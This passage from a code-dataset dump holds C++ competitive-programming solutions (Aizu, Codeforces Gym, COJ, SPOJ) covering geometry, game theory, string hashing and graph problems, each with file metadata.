"/Aizu/CGL_2_C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct point {\n\tdouble x, y;\n\tpoint() {}\n\tpoint(double _x, double _y) : x(_x), y(_y) {}\n};\n\nvoid read(point &P) {\n\tcin >> P.x >> P.y;\n}\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const double k) {\n\treturn point(P.x * k, P.y * k);\n}\n\ninline double dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline double cross(const point &P, const point &Q) {\n\treturn P.x * Q.y - P.y * Q.x;\n}\n\ninline double norm2(const point &P) {\n\treturn dot(P, P);\n}\n\ninline double norm(const point &P) {\n\treturn sqrt(dot(P, P));\n}\n\ninline point project(const point &P, const point &P1, const point &P2) {\n\treturn P1 + (P2 - P1) * (dot(P2 - P1, P - P1) / norm2(P2 - P1));\n}\n\ninline point reflect(const point &P, const point &P1, const point &P2) {\n\treturn project(P, P1, P2) * 2.0 - P;\n}\n\ninline point intersect(const point &A, const point &B, const point &C, const point &D) {\n\treturn A + (B - A) * (cross(C - A, C - D) / cross(B - A, C - D));\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(10);\n\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tpoint answer = intersect(A, B, C, D);\n\t\tcout << fixed << answer.x << \" \" << fixed << answer.y << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3356594443321228, "alphanum_fraction": 0.3635729253292084, "avg_line_length": 23.70689582824707, "blob_id": "f9a14c95f307da3a56c65ba02ad1262b70cfa9ed", "content_id": "af8bd6e649cbbc02c2ee7ceafb26317a1b0aaaf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1433, "license_type": "no_license", "max_line_length": 86, "num_lines": 58, "path": "/Codeforces-Gym/100486 - 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)\n// 100486C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 10005;\n\nint n;\nstring line, s;\nchar ans[N];\n\nset<int> S;\nset<int>::iterator it;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n while (true) {\n getline(cin, line);\n n = 0;\n for (int i = 0; line[i]; i++) {\n n = 10 * n + line[i] - '0';\n }\n if (n == 0) break;\n getline(cin, line);\n s.clear();\n S.clear();\n for (int i = 0; line[i]; i++) {\n S.insert(i);\n if (line[i] == ' ') continue;\n if (line[i] >= 'a' && line[i] <= 'z') line[i] = line[i] - 'a' + 'A';\n s += line[i];\n }\n for (int i = 0; i <= s.size(); i++) ans[i] = 0;\n int cur = 0;\n while (cur < s.size()) {\n int pos = *S.begin();\n ans[pos] = s[cur];\n S.erase(S.begin());\n cur++;\n if (pos + n < s.size()) {\n int x = pos + n;\n while (x < s.size()) {\n it = S.find(x);\n if (it != S.end()) {\n ans[x] = s[cur++];\n S.erase(it);\n }\n x += n;\n }\n }\n }\n cout << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.41747573018074036, "alphanum_fraction": 0.48349514603614807, "avg_line_length": 17.39285659790039, "blob_id": "4dffe26bf2cdfe5fe3c9068849f6cb9cc185eb85", "content_id": "9c8cb1ad2aa523348fa8704314e9b86616d85d97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 515, "license_type": "no_license", "max_line_length": 101, "num_lines": 28, "path": "/Codeforces-Gym/101090 - 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix\n// 101090K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n ll n, m; cin >> n >> m;\n\n if( n == 1ll || m == 1ll || ( n*m ) % 6ll != 0ll ){\n cout << \"No\\n\";\n }\n else{\n cout << \"Yes\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.3788819909095764, "alphanum_fraction": 0.4136646091938019, "avg_line_length": 19.1842098236084, "blob_id": "678631437e3d06deb9d63b48e86729cdd12aa5ea", "content_id": "7a0c71a5aa77ecbb598b000c37722205ab3e0a1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 805, "license_type": "no_license", "max_line_length": 55, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2702-Accepted-s631397.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAXN = 1005, MAXM = 50005;\r\n\r\nll n, a[MAXN][MAXN];\r\nll Q[MAXM][3], ind;\r\nchar c;\r\nll x, y, z;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (ll i = 0; i < n; i++) {\r\n\t\tcin >> c >> x >> y >> z;\r\n\t\tif (y > z) swap(y, z);\r\n\t\tif (c == 'H') a[x][y]++, a[x][z + 1]--;\r\n\t\telse {\r\n\t\t\tQ[ind][0] = x;\r\n\t\t\tQ[ind][1] = y;\r\n\t\t\tQ[ind][2] = z;\r\n\t\t\tind++;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < MAXN; i++)\r\n\t\tfor (int j = 1; j < MAXN; j++)\r\n\t\t\ta[i][j] += a[i][j - 1];\r\n\tfor (int i = 1; i < MAXN; i++)\r\n\t\tfor (int j = 1; j < MAXN; j++)\r\n\t\t\ta[j][i] += a[j - 1][i];\r\n\tll sol = 0;\r\n\tfor (int i = 0; i < ind; i++)\r\n\t\tsol += a[Q[i][2]][Q[i][0]] - a[Q[i][1] - 1][Q[i][0]];\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.3592964708805084, "alphanum_fraction": 0.39949747920036316, "avg_line_length": 20.11111068725586, "blob_id": "be24035ef616b99cff4f3599dfcdf71f780fa407", "content_id": "e51a996779058e9022a2bc5f7e24c3b7e9617c97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 398, "license_type": "no_license", "max_line_length": 43, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p3077-Accepted-s731426.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nint c[4], a[105], be, en, ans;\r\n\r\nint main() {\r\n scanf(\"%d%d%d\", c + 1, c + 2, c + 3);\r\n\tc[2] *= 2; c[3] *= 3;\r\n\tscanf(\"%d%d\", &be, &en); a[be]++; a[en]--;\r\n\tscanf(\"%d%d\", &be, &en); a[be]++; a[en]--;\r\n\tscanf(\"%d%d\", &be, &en); a[be]++; a[en]--;\r\n\tfor (int i = 1; i <= 100; i++) {\r\n\t\ta[i] += a[i - 1];\r\n\t\tans += c[a[i]];\r\n\t}\r\n\tprintf(\"%d\\n\", ans);\r\n}\r\n" }, { "alpha_fraction": 0.3022066652774811, "alphanum_fraction": 0.3213132321834564, "avg_line_length": 21.119047164916992, "blob_id": "1ae0330ac38f7328f9ea3a440fffba9e2cadf2b2", "content_id": "a27bfc650f88d7e7c190573bd1170c8e5caa0fc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3716, "license_type": "no_license", "max_line_length": 84, "num_lines": 168, "path": "/Caribbean-Training-Camp-2018/Contest_5/Solutions/H5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\n\nint first( long long n ){\n if( n == 2 ) return 0;\n if( n == 3 ) return 1;\n long long E = n * (n-1ll) / 2ll;\n if( n & 1 ) return E % 2ll;\n\n return first( n-1 ) ^ 1;\n}\n\nconst int N = 105;\n\n\n\nint dp[55][N][N];\nvector <int> v[55];\nvector <int> o[55];\nbool solved[55][N][N];\nvector <pair <int, int> > segs[55][105];\n\n\nint solve(int id, int l, int r) {\n if (l == r) {\n dp[id][l][r] = 1;\n return 1;\n }\n if (solved[id][l][r]) {\n return dp[id][l][r];\n }\n solved[id][l][r] = true;\n set <int> S;\n set <int> used;\n for (int i = l; i <= r; i++) {\n if (S.find(v[id][i]) == S.end()) {\n S.insert(v[id][i]);\n int xorSum = 0;\n for (auto s : segs[id][ v[id][i] ]) {\n if (s.second < l || s.first > r) {\n continue;\n }\n xorSum ^= solve(id, max(l, s.first), min(r, s.second));\n }\n used.insert(xorSum);\n }\n }\n int g = 0;\n while (used.find(g) != used.end()) {\n g++;\n }\n dp[id][l][r] = g;\n return g;\n}\n\nvoid B() {\n int x1, x2, a, b;\n cin >> x1 >> x2 >> a >> b;\n\n if (x1 + a <= x2 && x2 <= x1 + b) {\n cout << \"FIRST\\n\";\n return;\n }\n\n bool sw = false;\n\n if (x1 > x2) {\n sw = true;\n swap(x1, x2);\n a = -a;\n b = -b;\n }\n\n if (b <= 0) {\n cout << \"DRAW\\n\";\n } else {\n if (a <= 0) {\n cout << \"DRAW\\n\";\n } else {\n int d = x2 - x1;\n\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n int n;\n cin >> n;\n\n for (int i = 0; i < n; i++) {\n int k;\n cin >> k;\n\n v[i].resize(k);\n o[i].resize(k);\n for (int j = 0; j < k; j++) {\n cin >> o[i][j];\n v[i][j] = o[i][j];\n }\n\n vector <int> vals = v[i];\n sort(vals.begin(), vals.end());\n vals.erase(unique(vals.begin(), vals.end()), vals.end());\n for (int j = 0; j < k; j++) {\n v[i][j] = lower_bound(vals.begin(), vals.end(), v[i][j]) - vals.begin();\n }\n\n int t = vals.size();\n for (int j = 0; j < t; j++) {\n int s = 0;\n while (s < k) {\n\n while (s < k && v[i][s] <= j) {\n s++;\n }\n if (s == k) {\n break;\n }\n\n int e = s;\n while (e < k && v[i][e] > j) {\n e++;\n }\n\n segs[i][j].push_back(make_pair(s, e - 1));\n\n s = e;\n }\n }\n }\n\n int xorSum = 0;\n for (int i = 0; i < n; i++) {\n xorSum ^= solve(i, 0, v[i].size() - 1);\n }\n\n if (xorSum == 0) {\n cout << \"S\\n\";\n } else {\n cout << \"G\\n\";\n for (int i = 0; i < n; i++) {\n // if (dp[i][0][v[i].size() - 1] ^ xorSum < dp[i][0][ v[i].size() ]) {\n set <int> s;\n for (int j = 0; j < v[i].size(); j++) {\n if (s.find(v[i][j]) == s.end()) {\n s.insert(v[i][j]);\n int sum = 0;\n for (auto & seg : segs[i][ v[i][j] ]) {\n sum ^= solve(i, seg.first, seg.second);\n }\n if ((xorSum ^ dp[i][0][ v[i].size() - 1 ] ^ sum) == 0) {\n cout << i + 1 << \" \" << j + 1 << \"\\n\";\n return 0;\n }\n }\n }\n // }\n }\n }\n}\n" }, { "alpha_fraction": 0.4422241449356079, "alphanum_fraction": 0.46915724873542786, "avg_line_length": 15.65217399597168, "blob_id": "d48ade2986316f76bb1bf92a7f399cccee6d94fb", "content_id": "517b57e1695147605ff8c084e733e5af98f7955d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1151, "license_type": "no_license", "max_line_length": 44, "num_lines": 69, "path": "/SPOJ/DISUBSTR.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \ntypedef unsigned long long ull;\n \nconst ull B = 257;\nconst ull C = 1231;\n \nconst int N = 1005;\n \null hash[N];\null POW[N];\n \null get(int s, int e) {\n\treturn hash[e] - hash[s] * POW[e - s];\n}\n \nstring s;\n \nint lcp(int a, int b) {\n\tint lo = 0;\n\tint hi = s.size() - max(a, b);\n\tint res = 0;\n\twhile (lo <= hi) {\n\t\tint mid = (lo + hi) >> 1;\n\t\tif (get(a, a + mid) == get(b, b + mid)) {\n\t\t\tres = mid;\n\t\t\tlo = mid + 1;\n\t\t} else {\n\t\t\thi = mid - 1;\n\t\t}\n\t}\n\treturn res;\n}\n \nbool comp(const int &a, const int &b) {\n\tint l = lcp(a, b);\n\treturn s[a + l] < s[b + l];\n}\n \nint SA[N];\n \nint t;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(false);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tPOW[0] = 1;\n\tfor (int i = 1; i < N; i++) {\n\t\tPOW[i] = POW[i - 1] * B;\n\t}\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> s;\n\t\thash[0] = C;\n\t\tfor (int i = 1; i <= s.size(); i++) {\n\t\t\thash[i] = hash[i - 1] * B + s[i - 1];\n\t\t\tSA[i - 1] = i - 1;\n\t\t}\n\t\tstable_sort(SA, SA + s.size(), comp);\n\t\tint ans = (s.size() * (s.size() + 1)) / 2;\n\t\tfor (int i = 0; i + 1 < s.size(); i++) {\n\t\t\tans -= lcp(SA[i], SA[i + 1]);\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n \n" }, { "alpha_fraction": 0.4320000112056732, "alphanum_fraction": 0.4560000002384186, "avg_line_length": 16.382352828979492, "blob_id": "97e0dece14bc0e4fee3d4c6d78c9121f539385ef", "content_id": "d9850e43bd5db8c81ada503257a9e827aa06e861", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 625, "license_type": "no_license", "max_line_length": 50, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2788-Accepted-s642485.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000000;\r\n\r\nint n, k, x, g, a[MAXN + 5], sol = -1;\r\n\r\ninline int get(int x) {\r\n\tint lo = x - k;\r\n\tif (lo < 0) lo = 0;\r\n\tint hi = x + k;\r\n\tif (hi > MAXN) hi = MAXN;\r\n\tint r = a[hi];\r\n\tif (lo) r -= a[lo - 1];\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n >> k;\r\n\twhile (n--) {\r\n\t\tcin >> g >> x;\r\n\t\ta[x] += g;\r\n\t}\r\n\tfor (int i = 1; i <= MAXN; i++) a[i] += a[i - 1];\r\n\tfor (int i = 0, tmp; i <= MAXN; i++) {\r\n\t\ttmp = get(i);\r\n\t\tif (sol < tmp) sol = tmp;\r\n\t}\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.44565218687057495, "alphanum_fraction": 0.4758453965187073, "avg_line_length": 13.622641563415527, "blob_id": "605bf9ef4e0040398d476fbb8c320f717f22f6d8", "content_id": "73f0d3d7cc721bdc3c41fec033b84dda19c4daf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 828, "license_type": "no_license", "max_line_length": 48, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p1986-Accepted-s551519.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<set>\r\n#include<map>\r\n#define MAXN 50010\r\nusing namespace std;\r\n\r\nint n;\r\nint a,b;\r\npair<int,int> cow[MAXN];\r\nmap<int,int> ID,aux;\r\nint main()\r\n{\r\n\tscanf(\"%d\",&n);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\",&cow[i].first,&cow[i].second);\r\n\t\tID[ cow[i].second ]++;\r\n\t}\r\n\r\n\tif(ID.size()==1)\r\n {\r\n printf(\"1\\n\");\r\n return 0;\r\n }\r\n\r\n\tsort(cow+1,cow+n+1);\r\n\r\n\tint i=1,j=1;\r\n\tint mn=1000000007;\r\n\r\n\taux[ cow[1].second ]++;\r\n\r\n\twhile(i<=n)\r\n {\r\n if( aux.size() == ID.size() )\r\n\t\t{\r\n\t\t\tmn = min( mn , cow[i].first - cow[j].first );\r\n\t\t\taux[ cow[j].second ]--;\r\n\t\t\tif(aux[ cow[j].second ] == 0)\r\n\t\t\t\taux.erase( aux.find( cow[j].second ) );\r\n\t\t\tj++;\r\n\t\t}\r\n\r\n\t\telse if( i < n )\r\n\t\t\taux[ cow[++i].second ]++;\r\n\r\n\t\telse i++;\r\n }\r\n\r\n\tprintf(\"%d\\n\",mn);\r\n}\r\n" }, { "alpha_fraction": 0.4147312641143799, "alphanum_fraction": 0.43065693974494934, "avg_line_length": 19.225351333618164, "blob_id": "6eded75dcab1a5b6d45824bb6ecf5a4a3d72af6b", "content_id": "8ec7b73ae3bdaad417b322cf90d295e9c9578036", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1507, "license_type": "no_license", "max_line_length": 70, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p2743-Accepted-s586763.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 55;\r\n\r\nint c, n, m;\r\nvector<int> G[MAXN];\r\nbool mark[MAXN];\r\nint in[MAXN], out[MAXN], deg[MAXN];\r\n\r\nvoid dfs(int u)\r\n{\r\n\tmark[u] = 1;\r\n\tfor (vector<int>::iterator it = G[u].begin(); it != G[u].end(); it++)\r\n\t\tif (!mark[*it]) dfs(*it);\r\n}\r\n\r\nint main()\r\n{\r\n //freopen(\"e.in\", \"r\", stdin);\r\n //freopen(\"e.out\", \"w\", stdout);\r\n\tfor (scanf(\"%d\", &c); c--;)\r\n\t{\r\n\t //printf(\"\\n\");\r\n\t\tscanf(\"%d%d\", &n, &m);\r\n\t\t//printf(\"-->>%d %d\\n\", n, m);\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t{\r\n\t\t\tin[i] = out[i] = deg[i] = mark[i] = 0;\r\n\t\t\tG[i].clear();\r\n\r\n\t\t}\r\n\t\tint s = 1;\r\n\t\tfor (int i = 1, a, b; i <= m; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\ts = a;\r\n\t\t\t//printf(\"-->>%d %d\\n\", a, b);\r\n\t\t\tG[a].push_back(b);\r\n\t\t\tG[b].push_back(a);\r\n\t\t\tout[a]++;\r\n\t\t\tin[b]++;\r\n\t\t\tdeg[a]++;\r\n\t\t\tdeg[b]++;\r\n\t\t}\r\n\t\tdfs(s);\r\n\t\tbool con = true;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tif (!mark[i] && deg[i]) con = false;\r\n\r\n\t\tif (!con) printf(\"WAKE UP EARLIER\\n\");\r\n\t\telse\r\n\t\t{\r\n\t\t\tint mas = 0, menos = 0, imp = 0, sol = 1;\r\n\t\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\t{\r\n\t\t\t\tif (abs(out[i] - in[i]) > 1) sol = 0;\r\n\t\t\t\tif (out[i] - in[i] == 1) mas++;\r\n\t\t\t\tif (out[i] - in[i] == -1) menos++;\r\n\r\n\t\t\t\tif (deg[i] & 1) imp++;\r\n\t\t\t}\r\n\t\t\tif (sol && ((mas == 0 && menos == 0)\r\n\t\t\t\t\t|| (mas == 1 && menos == 1)) ) printf(\"YES\\n\");\r\n\t\t\telse if (imp == 0 || imp == 2) printf(\"TRAFFIC STOPPING NEEDED\\n\");\r\n\t\t\telse printf(\"WAKE UP EARLIER\\n\");\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3753235638141632, "alphanum_fraction": 0.4072476327419281, "avg_line_length": 14.323944091796875, "blob_id": "d376beb2524c86ae44fd41be37716f263c0b0a05", "content_id": "43fa0a904fca8dbde0aa9463baee50816a3806ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1159, "license_type": "no_license", "max_line_length": 45, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p2573-Accepted-s505413.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nconst int ML = 2100;\r\n\r\ntypedef struct\r\n{\r\n int len,d[ML];\r\n void bigint()\r\n {\r\n len=1;\r\n for(int i=0; i<ML; i++)\r\n d[i]=0;\r\n }\r\n}bigint;\r\n\r\nbigint asigna(int n)\r\n{\r\n bigint a=bigint();\r\n for(int i=1; n; i++)\r\n {\r\n a.d[i]=n%10;\r\n n/=10;\r\n a.len=i;\r\n }\r\n return a;\r\n}\r\n\r\nbigint suma(bigint a, bigint b)\r\n{\r\n bigint c=bigint();\r\n int s,ac=0;\r\n c.len=max(a.len,b.len);\r\n for(int i=1; i<=c.len; i++)\r\n {\r\n s = ac+a.d[i]+b.d[i];\r\n c.d[i]=s%10;\r\n ac=s/10;\r\n }\r\n if(ac)\r\n {\r\n c.len++;\r\n c.d[c.len]=ac;\r\n }\r\n return c;\r\n}\r\n\r\nbigint fib[10003];\r\nint cas,n;\r\n\r\nint main()\r\n{\r\n fib[1]=fib[2]=asigna(1);\r\n\r\n for(int i=3; i<=10001; i++)\r\n {\r\n fib[i]=bigint();\r\n fib[i]=suma(fib[i-1],fib[i-2]);\r\n }\r\n\r\n while(scanf(\"%d\",&n) != EOF)\r\n {\r\n bigint ans = suma(fib[n-1],fib[n+1]);\r\n //printf(\"%d\\n\", ans.len);\r\n for(int i=ans.len; i; i--)\r\n printf(\"%d\",ans.d[i]);\r\n printf(\"\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.43328219652175903, "alphanum_fraction": 0.48121166229248047, "avg_line_length": 23.83809471130371, "blob_id": "1ae96e8ab7cfa86b8077ad3d87508eb38d5f0f7b", "content_id": "8a063bc459cc3842f2be7247b8703870f154e740", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2608, "license_type": "no_license", "max_line_length": 125, "num_lines": 105, "path": "/Codeforces-Gym/100497 - 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)\n// 100497B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nstring s;\n\nbool ok[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> s;\n\tint n = s.size();\n\tfor (int i = 0; i < n; i++) {\n\t\tok[i] = (s[i] == s[n - 1 - i]);\n\t}\n\tset <string> S;\n\tif (n & 1) {\n\t\tint c = n / 2;\n\t\tvector <int> first, second;\n\t\tfor (int i = 0; i < c; i++) {\n\t\t\tif (!ok[i]) {\n\t\t\t\tfirst.push_back(i);\n\t\t\t\tsecond.push_back(n - 1 - i);\n\t\t\t}\n\t\t}\n\t\tif (first.size() == 0) {\n\t\t\tS.insert(s);\n\t\t} else if (first.size() == 1) {\n\t\t\tif (s[c] == s[second[0]]) {\n\t\t\t\tswap(s[c], s[first[0]]);\n\t\t\t\tS.insert(s);\n\t\t\t\tswap(s[c], s[first[0]]);\n\t\t\t}\n\t\t\tif (s[c] == s[first[0]]) {\n\t\t\t\tswap(s[c], s[second[0]]);\n\t\t\t\tS.insert(s);\n\t\t\t\tswap(s[c], s[second[0]]);\n\t\t\t}\n\t\t} else if (first.size() == 2) {\n\t\t\tswap(s[first[0]], s[first[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[first[0]], s[first[1]]);\n\t\t\tswap(s[first[0]], s[second[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[first[0]], s[second[1]]);\n\t\t\tswap(s[second[0]], s[second[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[second[0]], s[second[1]]);\n\t\t\tswap(s[second[0]], s[first[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[second[0]], s[first[1]]);\n\t\t}\n\t} else {\n\t\tint c = (n - 1) / 2;\n\t\tvector <int> first, second;\n\t\tfor (int i = 0; i <= c; i++) {\n\t\t\tif (!ok[i]) {\n\t\t\t\tfirst.push_back(i);\n\t\t\t\tsecond.push_back(n - 1 - i);\n\t\t\t}\n\t\t}\n\t\tif (first.size() == 0) {\n\t\t\tS.insert(s);\n\t\t} else if (first.size() == 2) {\n\t\t\tswap(s[first[0]], s[first[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[first[0]], s[first[1]]);\n\t\t\tswap(s[first[0]], s[second[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[first[0]], s[second[1]]);\n\t\t\tswap(s[second[0]], s[second[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[second[0]], s[second[1]]);\n\t\t\tswap(s[second[0]], s[first[1]]);\n\t\t\tif (s[first[0]] == s[second[0]] && s[first[1]] == s[second[1]]) {\n\t\t\t\tS.insert(s);\n\t\t\t}\n\t\t\tswap(s[second[0]], s[first[1]]);\n\t\t}\n\t}\n\tcout << S.size() << \"\\n\";\n\tfor (set <string>::iterator it = S.begin(); it != S.end(); it++) {\n\t\tcout << *it << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3937007784843445, "alphanum_fraction": 0.4291338622570038, "avg_line_length": 16.14285659790039, "blob_id": "59d5727ed6b59196a09fc8460d46c277dba04acb", "content_id": "53bfb06c13a2bc11fb77f71a9240e00ce5a44b16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 254, "license_type": "no_license", "max_line_length": 43, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2382-Accepted-s597442.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 100010;\r\n\r\nchar n[MAXN];\r\nint b, d;\r\n\r\nint main() {\r\n\tscanf(\"%s%d%d\", n, &b, &d);\r\n\tint res = 0;\r\n\tfor (char *p = n; *p; p++)\r\n\t\tres = (b * res + (*p - '0') % d) % d;\r\n\tprintf(\"%s\\n\", (res == 0) ? \"YES\" : \"NO\");\r\n}\r\n" }, { "alpha_fraction": 0.3234686851501465, "alphanum_fraction": 0.3585684895515442, "avg_line_length": 16.297618865966797, "blob_id": "72eb7b3bd49ca085d14be471a7c0569857e6f32c", "content_id": "ef4dd93c70a8fa75357581bbd5ca6839bbe7f2a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1453, "license_type": "no_license", "max_line_length": 125, "num_lines": 84, "path": "/Codeforces-Gym/100497 - 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)\n// 100497K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 2000000;\n\nvector<int> g[MAXN];\nint d[MAXN];\n\nint cola[MAXN];\nbool mk[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"in.txt\",\"r\",stdin);\n\n string l;\n\n map<string,int> dic;\n\n int n = 0;\n\n //leer\n while( cin >> l ){\n if( dic.find(l) == dic.end() ){\n dic[l] = ++n;\n }\n\n int v = dic[l];\n mk[v] = true;\n\n //cout << l;\n\n while( cin >> l, l != \"0\" ){\n if( dic.find(l) == dic.end() ){\n dic[l] = ++n;\n }\n\n //cout << ' ' << l;\n\n int u = dic[l];\n\n g[u].push_back( v );\n 